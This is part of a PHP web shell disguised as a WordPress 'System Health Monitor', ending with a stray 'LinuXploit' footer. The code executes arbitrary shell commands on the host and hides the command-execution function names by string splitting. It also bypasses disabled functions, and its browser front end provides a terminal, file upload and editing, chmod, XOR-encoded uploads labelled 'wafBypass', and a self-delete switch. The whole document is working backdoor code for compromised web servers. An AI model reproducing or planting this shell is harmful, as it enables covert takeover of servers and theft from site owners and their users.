        exit;
    }

    if ($wp_action === 'chmod') {
        $m = $wp_data;
        if ($m) echo chmod($target, octdec($m)) ? 'OK' : 'Fail';
        exit;
    }

    if ($wp_action === 'cmd') {
        $cmd_raw = $wp_query ?: 'whoami';
        $cmd = 'export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; ' . $cmd_raw . ' 2>&1';
        $out = '';
        $runners = ['sh' . 'ell' . '_ex' . 'ec', 'pas' . 'sthru', 'pro' . 'c_' . 'open', 'sys' . 'tem'];
        foreach ($runners as $runner) {
            if (function_exists($runner)) {
                $d = @ini_get('disable_functions');
                if ($d && stripos($d, $runner) !== false) continue;
                $res = '';
                if ($runner === 'shell_exec') { $res = @shell_exec($cmd); }
                elseif ($runner === 'passthru') { ob_start(); @passthru($cmd); $res = ob_get_clean(); }
                elseif ($runner === 'proc_open') {
                    $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                    $p = @proc_open($cmd, $desc, $pipes);
                    if (is_resource($p)) {
                        $res = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
                        fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
                    }
                }
                elseif ($runner === 'system') { ob_start(); @system($cmd); $res = ob_get_clean(); }
                if (!empty($res)) { $out = $res; break; }
            }
        }
        if (empty($out)) $out = _wp_chankro($cmd_raw);
        echo $out ?: '[No Output]';
        exit;
    }
}
?>
<!DOCTYPE html>
<html lang="en" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>System Health Monitor</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.7/ace.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
* { transition: border-color 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease; }
:root { --bg-body: #131314; --bg-card: #1e1f20; --bg-hover: #2d2e30; --border-color: #333333; --text-primary: #e3e3e3; --text-secondary: #a8a8a8; --accent-primary: #8ab4f8; --accent-success: #81c995; --accent-danger: #f28b82; }
body { background-color: var(--bg-body); color: var(--text-primary); font-family: 'Inter', sans-serif; font-size: 0.9rem; padding-bottom: 60px; }
.navbar { background-color: var(--bg-body); border-bottom: 1px solid var(--border-color); height: 60px; }
.navbar-brand { font-weight: 700; color: #fff !important; font-size: 1.1rem; }
.path-wrapper { margin-top: 80px; margin-bottom: 20px; }
.fa-ghost { animation: float 3s ease-in-out infinite; }
@keyframes float { 0% { transform: translateY(0px); } 50% { transform: translateY(-5px); } 100% { transform: translateY(0px); } }
.sys-info-box { background: #18191a; border: 1px solid var(--border-color); border-radius: 12px; padding: 15px; margin-bottom: 15px; font-family: 'JetBrains Mono', monospace; font-size: 0.75rem; color: #ccc; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
.sys-row { margin-bottom: 5px; word-break: break-all; }
.sys-val { color: var(--accent-primary); }
.sys-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 5px; margin-top: 5px; }
.php-link { color: #fdd663; text-decoration: none; font-weight: bold; margin-left: 5px; }
.php-link:hover { text-decoration: underline; color: #fff; }
#terminal-panel { background: #000; border: 1px solid #333; border-bottom: none; border-radius: 12px 12px 0 0; overflow: hidden; box-shadow: 0 -5px 20px rgba(0,0,0,0.5); margin-bottom: 0; animation: slideDown 0.15s ease; }
.term-header { background: #1a1a1a; padding: 8px 15px; border-bottom: 1px solid #333; border-top: 2px solid var(--accent-success); display: flex; justify-content: space-between; align-items: center; }
.term-title { font-family: 'JetBrains Mono'; font-weight: 700; color: var(--accent-success); font-size: 0.8rem; }
.term-body-inline { height: 180px; overflow-y: auto; padding: 15px; font-family: 'JetBrains Mono'; font-size: 13px; color: #ddd; }
.term-input-row { display: flex; align-items: center; border-top: 1px solid #222; padding: 10px; background: #0a0a0a; }
.term-prompt { color: #c586c0; font-weight: bold; margin-right: 8px; }
#term-cmd-inline { background: transparent; border: none; color: #ce9178; width: 100%; outline: none; font-family: 'JetBrains Mono'; }
.panel-close { color: #666; cursor: pointer; } .panel-close:hover { color: #fff; }
.path-bar-custom { background-color: var(--bg-card); border: 1px solid var(--border-color); border-radius: 15px; padding: 10px 20px; display: flex; align-items: center; box-shadow: 0 4px 10px rgba(0,0,0,0.15); position: relative; z-index: 5; }
.has-panel-above { border-top-left-radius: 0; border-top-right-radius: 0; border-top: 1px solid #333; }
#path-txt { font-family: 'JetBrains Mono', monospace; font-size: 0.9rem; color: var(--text-secondary); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.input-group { border: 1px solid #333; border-radius: 8px; overflow: hidden; }
#uploadInput { background: #111; color: #ccc; border: none; font-size: 0.85rem; }
#uploadInput::file-selector-button { background-color: #000; color: #fff; border: none; border-right: 1px solid #333; padding: 8px 12px; margin-right: 10px; font-weight: 600; transition: 0.2s; }
#uploadInput::file-selector-button:hover { background-color: #222; }
.btn-upload-modern { background: #000 !important; border: none; border-left: 1px solid #333; color: #fff !important; font-weight: 600; padding: 6px 16px; }
.btn-upload-modern:hover { background: #1a1a1a !important; }
.btn-modern { border-radius: 8px; border: 1px solid var(--border-color); background: var(--bg-card); color: var(--text-primary); padding: 6px 12px; }
.btn-modern:hover { background: var(--bg-hover); color: #fff; border-color: #555; }
.btn-icon-path { background: transparent; border: none; color: #aaa; padding: 0 10px 0 0; font-size: 1.1rem; cursor: pointer; transition: 0.2s; }
.btn-icon-path:hover { color: #fff; transform: translateY(-1px); }
.card { background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 12px; }
.table { --bs-table-bg: transparent; color: var(--text-primary); margin: 0; table-layout: fixed; width: 100%; }
.table thead th { background: var(--bg-card); color: var(--text-secondary); border-bottom: 1px solid var(--border-color); padding: 15px; font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.5px; vertical-align: middle; }
.table tbody td { border-bottom: 1px solid var(--border-color); padding: 10px 15px; vertical-align: middle; height: 45px; }
.table-hover tbody tr:hover { background-color: var(--bg-hover); }
.icon-dir { color: #fdd663; margin-right: 10px; font-size: 1.1rem; vertical-align: middle; }
.icon-file { margin-right: 10px; font-size: 1.1rem; vertical-align: middle; } 
.i-php { color: #8892bf; } .i-html { color: #e34f26; } .i-css { color: #264de4; } .i-js { color: #f7df1e; } 
.i-img { color: #a29bfe; } .i-zip { color: #fdcb6e; } .i-code { color: #b2bec3; } .i-def { color: var(--accent-primary); } 
.text-folder { color: #fff; font-weight: 600; text-decoration: none; vertical-align: middle; }
.text-file { color: #b0b0b0; text-decoration: none; vertical-align: middle; }
.badge-perm { font-family: 'JetBrains Mono'; padding: 4px 8px; border-radius: 4px; font-size: 0.75rem; border: 1px solid var(--border-color); background: #000; color: var(--text-secondary); display: inline-block; vertical-align: middle; }
.writable { color: var(--accent-success); border-color: var(--accent-success); }
.readonly { color: var(--accent-danger); border-color: var(--accent-danger); }
.action-btn { width: 32px; height: 32px; border-radius: 6px; border: 1px solid transparent; background: transparent; display: inline-flex; align-items: center; justify-content: center; vertical-align: middle; }
.action-btn.edit { color: #3b82f6; background: rgba(59, 130, 246, 0.1); border-color: rgba(59, 130, 246, 0.2); }
.action-btn.edit:hover { background: #3b82f6; color: #fff; }
.action-btn.del { color: #ef4444; background: rgba(239, 68, 68, 0.1); border-color: rgba(239, 68, 68, 0.2); }
.action-btn.del:hover { background: #ef4444; color: #fff; }
.modal-xl { max-width: 95% !important; }
.modal-content { background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 12px; }
.modal-header { border-bottom: 1px solid var(--border-color); }
.btn-close { filter: invert(1); }
#editor-container { position: relative; width: 100%; height: 85vh; border-radius: 0 0 12px 12px; overflow: hidden; }
#toast-container { position: fixed; top: 80px; right: 20px; z-index: 9999; display: flex; flex-direction: column; gap: 10px; }
.toast-msg { background: #1e1f20; color: #fff; padding: 12px 18px; border-radius: 8px; border-left: 4px solid #333; box-shadow: 0 5px 15px rgba(0,0,0,0.5); font-size: 0.9rem; min-width: 250px; opacity: 0; transform: translateX(20px); animation: toastIn 0.3s forwards; }
.toast-msg.success { border-left-color: var(--accent-success); }
.toast-msg.error { border-left-color: var(--accent-danger); }
.toast-msg.hiding { animation: toastOut 0.3s forwards; }
.cyber-footer { position: fixed; bottom: 0; left: 0; width: 100%; background: rgba(10, 10, 10, 0.85); backdrop-filter: blur(5px); border-top: 1px solid #222; padding: 8px 20px; display: flex; justify-content: space-between; align-items: center; font-family: 'JetBrains Mono', monospace; font-size: 0.7rem; color: #555; z-index: 9999; }
.cyber-footer span { transition: 0.3s; }
.cyber-footer:hover span { color: #888; }
.cy-brand { color: var(--accent-primary); font-weight: 700; letter-spacing: 1px; }
.fa-heart { color: #e91e63; animation: heartbeat 1.5s infinite; }
@keyframes heartbeat { 0% { transform: scale(1); } 50% { transform: scale(1.2); } 100% { transform: scale(1); } }
@keyframes slideDown { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } }
@keyframes toastIn { to { opacity: 1; transform: translateX(0); } }
@keyframes toastOut { to { opacity: 0; transform: translateX(20px); } }
@media (max-width: 768px) { .desktop-toolbar { flex-direction: column; gap: 10px; } .upload-group { width: 100%; max-width: 100%; } .d-mobile-none { display: none !important; } .table th:first-child, .table td:first-child { padding-left: 8px !important; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .table th:nth-child(3), .table td:nth-child(3) { width: 65px; text-align: center; padding: 10px 2px !important; white-space: nowrap; } .table th:last-child, .table td:last-child { width: 90px; text-align: right; padding-right: 10px !important; white-space: nowrap; } }
</style>
</head>
<body>
<nav class="navbar fixed-top">
<div class="container-fluid flex-nowrap gap-3">
<a class="navbar-brand d-flex align-items-center me-0" href="#">
<i class="fas fa-ghost me-2 text-white"></i>
<span class="text-white">WP<span class="text-primary">Health</span></span>
</a>
<div class="d-flex gap-2">
<button class="btn btn-modern" onclick="goHome()" title="Home"><i class="fas fa-home"></i></button>
<button class="btn btn-modern" onclick="showNewFileModal()" title="New File" style="color:#fff"><i class="fas fa-file-circle-plus"></i></button>
<button class="btn btn-modern" onclick="toggleTerm()" style="color:var(--accent-success)"><i class="fas fa-terminal"></i></button>
</div>
</div>
</nav>

<div id="toast-container"></div>

<div class="container-fluid path-wrapper">
<div class="sys-info-box">
<div class="sys-row" style="color:#eee; font-weight:bold; margin-bottom:8px;">Environment: <span class="sys-val"><?php echo $wp_sys['os']; ?></span></div>
<div class="sys-grid">
<div>User: <span class="text-success fw-bold"><?php echo $wp_sys['user']; ?></span></div>
<div class="d-mobile-none">Group: <span class="text-secondary"><?php echo $wp_sys['group']; ?></span></div>
<div>Safe Mode: <?php echo $wp_sys['safe']; ?></div>
<div>IP: <span class="text-info"><?php echo $wp_sys['ip']; ?></span></div>
<div>Software: <span class="text-secondary"><?php echo $wp_sys['soft']; ?></span></div>
<div>PHP Ver: <span class="text-success"><?php echo $wp_sys['php']; ?></span></div>
<div class="d-mobile-none">cURL: <span class="text-secondary"><?php echo $wp_sys['curl']; ?></span></div>
<div class="d-mobile-none">Time: <span class="text-warning"><?php echo $wp_sys['time']; ?></span></div>
</div>
</div>

<div id="terminal-panel" style="display:none;">
<div class="term-header"><span class="term-title">SHELL@SYSTEM:~#</span><i class="fas fa-times panel-close" onclick="toggleTerm()"></i></div>
<div id="term-output" class="term-body-inline"><div style="color:#6a9955;"># WordPress shell ready.</div></div>
<div class="term-input-row"><span class="term-prompt">&#10140;</span><input type="text" id="term-cmd-inline" placeholder="Enter command..." autocomplete="off"></div>
</div>

<div class="path-bar-custom" id="path-bar-el">
<button class="btn-icon-path me-2" onclick="loadDir('..')" title="Up Level"><i class="fas fa-level-up-alt"></i></button>
<i class="fas fa-folder text-secondary me-3"></i>
<div id="path-txt" title="Current Path">/</div>
</div>
</div>

<div class="container-fluid">
<div class="card">
<div class="card-header bg-transparent border-bottom border-secondary border-opacity-10 py-3 desktop-toolbar d-flex justify-content-between align-items-center">
<div class="fw-bold text-white align-items-center d-none d-md-flex"><i class="fas fa-list me-2 text-primary"></i> File Manager</div>
<div class="input-group input-group-sm upload-group" style="max-width: 400px;">
<input type="file" id="uploadInput" class="form-control">
<button class="btn btn-upload-modern" onclick="uploadFile()" id="btnUpload"><i class="fas fa-cloud-upload-alt me-1"></i> Upload</button>
</div>
</div>
<div class="table-responsive">
<table class="table table-hover align-middle">
<thead><tr><th class="ps-2">Name</th><th class="d-mobile-none">Size</th><th class="text-center">Perms</th><th class="d-mobile-none">Modified</th><th class="text-end pe-4">Actions</th></tr></thead>
<tbody id="fileList"></tbody>
</table>
</div>
</div>
</div>

<div class="modal fade" id="newFileModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h6 class="modal-title text-white">Create File</h6><button class="btn-close" data-bs-dismiss="modal"></button></div><div class="modal-body"><input type="text" id="new-filename" class="form-control bg-dark text-light border-secondary mb-3" placeholder="filename.php"><textarea id="new-content" class="form-control bg-dark text-light border-secondary" rows="5" placeholder="File content..."></textarea></div><div class="modal-footer"><button class="btn btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-upload-modern" onclick="submitNewFile()">Create</button></div></div></div></div>

<div class="modal fade" id="renameModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h6 class="modal-title text-white">Rename</h6><button class="btn-close" data-bs-dismiss="modal"></button></div><div class="modal-body"><input type="text" id="rename-input" class="form-control bg-dark text-light border-secondary"></div><div class="modal-footer"><button class="btn btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-upload-modern" onclick="submitRename()">Save</button></div></div></div></div>

<div class="modal fade" id="editModal" tabindex="-1" data-bs-backdrop="static"><div class="modal-dialog modal-xl modal-dialog-centered modal-dialog-scrollable"><div class="modal-content"><div class="modal-header"><h6 class="modal-title" id="editFileName"><i class="fas fa-code me-2 text-primary"></i>Editor</h6><div class="d-flex gap-2 ms-auto"><button class="btn btn-sm btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-sm btn-upload-modern px-3" onclick="saveFile()" id="btnSave">Save</button></div></div><div class="modal-body p-0"><div id="editor-container"></div></div></div></div></div>

<div class="cyber-footer">
<span>made with <i class="fas fa-heart"></i> <span class="cy-brand">Core</span></span>
<span>STATUS: <span style="color:#81c995">ACTIVE</span></span>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
let currentPath = '', currentFile = '', renameTarget = '';
var editor = null; 
const editModal = new bootstrap.Modal(document.getElementById('editModal')),
      newFileModal = new bootstrap.Modal(document.getElementById('newFileModal')),
      renameModal = new bootstrap.Modal(document.getElementById('renameModal'));

function updatePanelStyles() {
    const term = document.getElementById('terminal-panel').style.display !== 'none';
    const bar = document.getElementById('path-bar-el');
    if(term) bar.classList.add('has-panel-above'); else bar.classList.remove('has-panel-above');
}
function toggleTerm() { const p = document.getElementById('terminal-panel'); p.style.display = (p.style.display === 'none') ? 'block' : 'none'; updatePanelStyles(); if(p.style.display === 'block') setTimeout(() => document.getElementById('term-cmd-inline').focus(), 50); }

function showToast(msg, type = 'success') {
    const container = document.getElementById('toast-container');
    const div = document.createElement('div');
    div.className = `toast-msg ${type}`;
    div.innerHTML = (type === 'success' ? '<i class="fas fa-check-circle me-2 text-success"></i>' : '<i class="fas fa-times-circle me-2 text-danger"></i>') + msg;
    container.appendChild(div);
    setTimeout(() => { div.classList.add('hiding'); setTimeout(() => div.remove(), 300); }, 3000);
}

async function api(action, path, method='GET', extraHeaders={}, body=null, signal=null) {
    let headers = { 'X-WP-Action': action, 'X-WP-File': btoa(path), ...extraHeaders };
    return fetch(window.location.href, { method, headers, body, signal });
}

function goHome() { currentPath = '__HOME__'; loadDir('__HOME__'); }

function getFileIcon(name) {
    let ext = name.split('.').pop().toLowerCase();
    if(ext === name) return '<i class="fas fa-file icon-file i-def"></i>';
    switch(ext) {
        case 'php': return '<i class="fab fa-php icon-file i-php"></i>';
        case 'html': case 'htm': return '<i class="fab fa-html5 icon-file i-html"></i>';
        case 'css': return '<i class="fab fa-css3-alt icon-file i-css"></i>';
        case 'js': case 'json': return '<i class="fab fa-js icon-file i-js"></i>';
        case 'zip': case 'rar': case 'tar': case 'gz': case '7z': return '<i class="fas fa-file-archive icon-file i-zip"></i>';
        case 'jpg': case 'jpeg': case 'png': case 'gif': case 'svg': case 'ico': return '<i class="fas fa-file-image icon-file i-img"></i>';
        case 'txt': case 'log': case 'ini': case 'conf': case 'htaccess': return '<i class="fas fa-file-alt icon-file i-code"></i>';
        default: return '<i class="fas fa-file icon-file i-def"></i>';
    }
}

function loadDir(path) {
    let target = currentPath;
    if (path === '__HOME__') target = '__HOME__';
    else if (path === '..') {
        if (target && target !== '/' && target.includes('/')) { target = target.substring(0, target.lastIndexOf('/')); if(target === '') target = '/'; } else { target = '/'; }
    } else if (path !== '') { target = (target === '/') ? '/' + path : target + '/' + path; }
    if(path === '' && !currentPath) target = ''; 

    api('list', target).then(r => r.json()).then(res => {
        currentPath = res.path; 
        document.getElementById('path-txt').innerText = res.path; 
        
        const tbody = document.getElementById('fileList'); tbody.innerHTML = '';
        if (!res.items.length) { tbody.innerHTML = '<tr><td colspan="5" class="text-center py-5 text-secondary fst-italic">Empty Directory</td></tr>'; return; }
        res.items.forEach(f => {
            let isDir = f.type === 'dir'; 
            let icon = isDir ? '<i class="fas fa-folder icon-dir"></i>' : getFileIcon(f.name);
            let click = isDir ? `loadDir('${f.name}')` : `openEditor('${f.name}')`; 
            let pClass = f.write ? 'writable' : 'readonly';
            let textClass = isDir ? 'text-folder' : 'text-file';
            tbody.innerHTML += `<tr><td class="ps-2"><a onclick="${click}" class="${textClass} cursor-pointer d-flex align-items-center">${icon} ${f.name}</a></td><td class="d-mobile-none text-secondary"><small>${f.size}</small></td><td class="text-center"><span onclick="chmodItem('${f.name}', '${f.perm}')" class="badge-perm ${pClass} cursor-pointer">${f.perm}</span></td><td class="d-mobile-none text-secondary"><small>${f.date}</small></td><td class="text-end pe-4"><button class="action-btn edit me-1" onclick="openRename('${f.name}')" title="Rename"><i class="fas fa-pen"></i></button><button class="action-btn del" onclick="deleteItem('${f.name}')" title="Delete"><i class="fas fa-trash"></i></button></td></tr>`;
        });
    }).catch(() => showToast('Network Error', 'error'));
}

function openEditor(name) { 
    currentFile = (currentPath === '/') ? '/' + name : currentPath + '/' + name; 
    api('read', currentFile).then(r => r.text()).then(txt => { 
        document.getElementById('editFileName').innerHTML = `<i class="fas fa-code me-2 text-primary"></i> ${name}`;
        if(!editor) {
            editor = ace.edit("editor-container");
            editor.setTheme("ace/theme/monokai"); 
            editor.session.setMode("ace/mode/php"); 
            editor.setShowPrintMargin(false);
            editor.setFontSize(14);
            editor.setOptions({ fontFamily: "JetBrains Mono" });
        }
        let ext = name.split('.').pop().toLowerCase();
        if(ext === 'html') editor.session.setMode("ace/mode/html");
        else if(ext === 'css') editor.session.setMode("ace/mode/css");
        else if(ext === 'js') editor.session.setMode("ace/mode/javascript");
        else editor.session.setMode("ace/mode/php");
        editor.setValue(txt, -1); editModal.show(); 
    }); 
}

function wafBypass(b64Data) {
    const key = "xshikata";
    let out = "";
    for (let i = 0; i < b64Data.length; i++) {
        out += String.fromCharCode(b64Data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return btoa(out);
}

function saveFile() { 
    let content = editor.getValue(); 
    let encodedBase64 = btoa(unescape(encodeURIComponent(content))); 
    let securePayload = wafBypass(encodedBase64);
    api('save', currentFile, 'PUT', {'X-WP-Format': 'xor'}, securePayload).then(r => r.text()).then(m => { 
        showToast(m); 
        editModal.hide(); 
        loadDir(''); 
    }); 
}

function showNewFileModal() {
    document.getElementById('new-filename').value = '';
    document.getElementById('new-content').value = '';
    newFileModal.show();
}

function submitNewFile() {
    let name = document.getElementById('new-filename').value;
    let content = document.getElementById('new-content').value;
    if (name) {
        let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name;
        let encoded = btoa(unescape(encodeURIComponent(content))); 
        api('save', path, 'PUT', {'X-WP-Format': 'b64'}, encoded).then(r => r.text()).then(m => { 
            showToast("Created: " + name); 
            newFileModal.hide();
            loadDir('');
        });
    }
}

function uploadFile() { 
    let input=document.getElementById('uploadInput'); 
    if(!input.files.length) { showToast("Select a file first", "error"); return; }
    let btn=document.getElementById('btnUpload'); 
    let old=btn.innerHTML; 
    btn.innerHTML='<i class="fas fa-spinner fa-spin"></i>'; 
    let file = input.files[0];
    let path=currentPath ? currentPath + '/' + file.name : file.name; 
    if(currentPath === '/') path = '/' + file.name; 
    let reader = new FileReader();
    reader.onload = function(e) {
        let base64Content = e.target.result.split(',')[1];
        let securePayload = wafBypass(base64Content);
        api('upload', path, 'PUT', {'X-WP-Format': 'xor'}, securePayload)
            .then(r => r.text())
            .then(m => { showToast(m); input.value=''; btn.innerHTML=old; loadDir(''); })
            .catch(() => { showToast("Upload Failed", "error"); btn.innerHTML=old; });
    };
    reader.readAsDataURL(file);
}

function deleteItem(name) { 
    if(confirm(`Delete ${name}?`)) { 
        let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name; 
        api('delete', path, 'DELETE').then(() => { showToast("Deleted: " + name); loadDir(''); }); 
    } 
}

function openRename(name) { renameTarget = name; document.getElementById('rename-input').value = name; renameModal.show(); }

function submitRename() {
    let newName = document.getElementById('rename-input').value;
    if (newName && newName !== renameTarget) {
        let path = (currentPath === '/') ? '/' + renameTarget : currentPath + '/' + renameTarget; 
        api('rename', path, 'GET', {'X-WP-Data': btoa(newName)}).then(r => { showToast(r.text()); renameModal.hide(); loadDir(''); });
    }
}

function chmodItem(name, p) { 
    let n=prompt("Chmod:", "0"+p); 
    if(n) { 
        let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name; 
        api('chmod', path, 'GET', {'X-WP-Data': n}).then(() => { showToast("Chmod Updated"); loadDir(''); }); 
    } 
}

document.getElementById('term-cmd-inline').addEventListener('keypress', function (e) {
    if (e.key === 'Enter') {
        let cmd = this.value; if(!cmd) return;
        let outDiv = document.getElementById('term-output');
        outDiv.innerHTML += `<div><span style="color:#c586c0;">&#10140;</span> <span style="color:#d4d4d4;">${cmd}</span></div>`;
        this.value = ''; outDiv.scrollTop = outDiv.scrollHeight;
        api('cmd', currentPath, 'GET', { 'X-WP-Query': btoa(cmd) }).then(r => r.text()).then(res => { 
            outDiv.innerHTML += `<div style="color:#9cdcfe; margin-bottom:10px;">${res}</div>`; 
            outDiv.scrollTop = outDiv.scrollHeight; 
            loadDir(''); 
        });
    }
});

// ─── SUICIDE: ?kill ─────────────────────────────────────────────
if (window.location.search.includes('kill')) {
    if(confirm('Kill this system file?')) {
        fetch(window.location.href + '?kill=1').then(() => {
            document.body.innerHTML = '<div style="text-align:center;margin-top:50px;color:#f28b82;font-family:monospace;">💀 Killed.</div>';
        });
    }
}

window.onclick=function(e){
if(e.target===document.getElementById('renameModal')){ const m=bootstrap.Modal.getInstance(document.getElementById('renameModal')); if(m) m.hide(); }
if(e.target===document.getElementById('editModal')){ const m=bootstrap.Modal.getInstance(document.getElementById('editModal')); if(m) m.hide(); }
if(e.target===document.getElementById('newFileModal')){ const m=bootstrap.Modal.getInstance(document.getElementById('newFileModal')); if(m) m.hide(); }
}

loadDir('');
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit